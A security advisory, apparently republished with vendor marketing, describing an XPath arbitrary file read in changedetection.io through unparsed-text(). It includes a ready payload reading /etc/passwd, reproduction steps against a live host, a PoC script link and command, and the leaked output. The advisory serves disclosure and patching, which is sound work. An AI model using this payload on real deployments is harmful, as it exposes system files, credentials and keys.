GHSA-6fmw-82m7-jq6p
changedetection.io vulnerable to XPath - Arbitrary File Read via unparsed-text()
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
changedetection-ioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
-
The changedetection.io application allows users to specify XPath expressions as content filters via the include_filters field. These XPath expressions are processed using the elementpath library which implements XPath 3.0/3.1 specification.
-
XPath 3.0 includes the unparsed-text() function which can read arbitrary files from the filesystem. The application does not validate or sanitize XPath expressions to block dangerous functions, allowing an attacker to read any file accessible to the application process.
Data Flow
User Input (include_filters field)
↓
forms.py:ValidateCSSJSONXPATHInput() - Only validates syntax, NOT function safety
↓
Watch configuration stored in datastore
↓
Scheduled fetch triggers html_tools.py processing
↓
html_tools.py:xpath_filter() at line 213
↓
elementpath.select(root, xpath_expression, parser=XPath3Parser)
↓
XPath 3.0 unparsed-text('file:///etc/passwd') executed
↓
File contents returned as "filtered content"
↓
Stored as snapshot, viewable in UI
Affected Code File: changedetectionio/html_tools.py Function: xpath_filter() Lines: 187-220
def xpath_filter(xpath_filter, html_content, append_pretty_line_formatting=False, is_rss=False):
# ...
from elementpath import XPath3Parser # XPath 3.0 with dangerous functions
# ...
r = elementpath.select(root, xpath_filter.strip(), parser=XPath3Parser) # Line 213
Validation (forms.py):
class ValidateCSSJSONXPATHInput:
def __call__(self, form, field):
# Only checks if XPath is syntactically valid
# Does NOT check for dangerous functions like unparsed-text()
Details
- Navigate to the http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000/ instance
- Create a new watch with any valid URL (e.g., https://example.com)
- Edit the watch and set the "CSS/JSONPath/JQ/XPath Filters" field to:
xpath:unparsed-text('file:///etc/passwd')
- Save and trigger a recheck
- View the preview/snapshot - the file contents will be displayed
PoC
python script for easy reproduction: https://gist.githubusercontent.com/DhiyaneshGeek/27a6239f34023d43a0b89afb05edc5d2/raw/76d2b1f035164298d57699741eb79a8376f4ed47/poc_xpath_file_read.py
python3 poc_xpath_file_read.py http://ewn9c0k01ghh7f588a7mij4y1w6iz8gb.tryneoai.com:5000 /etc/passwd
╔═══════════════════════════════════════════════════════════════╗
║ XPath 3.0 Arbitrary File Read Exploit ║
║ Target: changedetection.io ║
║ Vulnerability: unparsed-text() in XPath filters ║
╚═══════════════════════════════════════════════════════════════╝
[*] Creating new watch for https://example.com...
[+] Watch created with UUID: 5215b704-809c-4218-952b-aad9b6ee41e1
[*] Setting XPath filter to read: /etc/passwd
[+] XPath filter set successfully
[*] Triggering recheck...
[*] Waiting for check to complete...
[*] Retrieving file contents...
[+] SUCCESS! File contents retrieved:
============================================================
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
============================================================
[*] Cleaning up (deleting watch)...
Impact
- Read any file accessible to the application process
- Exfiltrate sensitive configuration files, credentials, API keys
- Read application source code
- Access database files if file-based (SQLite)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | changedetection-io | all versions | 0.54.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for changedetection-io. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update changedetection-io to 0.54.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6fmw-82m7-jq6p is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6fmw-82m7-jq6p is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-6fmw-82m7-jq6p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6fmw-82m7-jq6p in your dependencies?
O3 detects GHSA-6fmw-82m7-jq6p across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.